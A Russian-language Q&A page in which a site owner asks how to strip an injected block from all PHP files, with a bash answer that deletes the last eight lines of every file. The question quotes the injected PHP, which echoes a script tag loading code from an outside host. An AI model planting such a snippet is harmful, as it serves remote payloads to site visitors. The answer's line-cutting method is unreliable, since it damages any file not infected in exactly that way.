Удалить вредоносное ПО в php файле

Весь мой файл .php был добавлен блок кода, как это:

<?php
#bbf007#
if(empty($r)) {
$r = "<script type=\"text/javascript\" src=\"http://web-    ask.esy.es/m2nzgpzt.php?id=11101326\"></script>";
echo $r;
}
#/bbf007#
?>

Мне нужно написать скрипт bash с регулярным выражением, чтобы удалить этот блок из файла кода. Пожалуйста, помогите мне предложение.

0

Решение

Резервное копирование в первую очередь!

Следующая команда возьмет все, кроме последних 8 строк, из всех файлов .php в текущем каталоге и его подкаталогах и запишет их в файл с именем * .php.new:

find -name "*.php" | xargs -i sh -c 'head -n -8 {} > {}.new'

Затем переместите все текущие файлы php в * .php.old:

find -name "*.php" | xargs -i sh -c 'mv {} {}.old'

Затем переместите файлы .php.new в .php

find -name "*.php.new" | xargs -i sh -c 'mv {} `echo '{}' | head -c -5`'
0

Другие решения

Других решений пока нет …

По вопросам рекламы [email protected]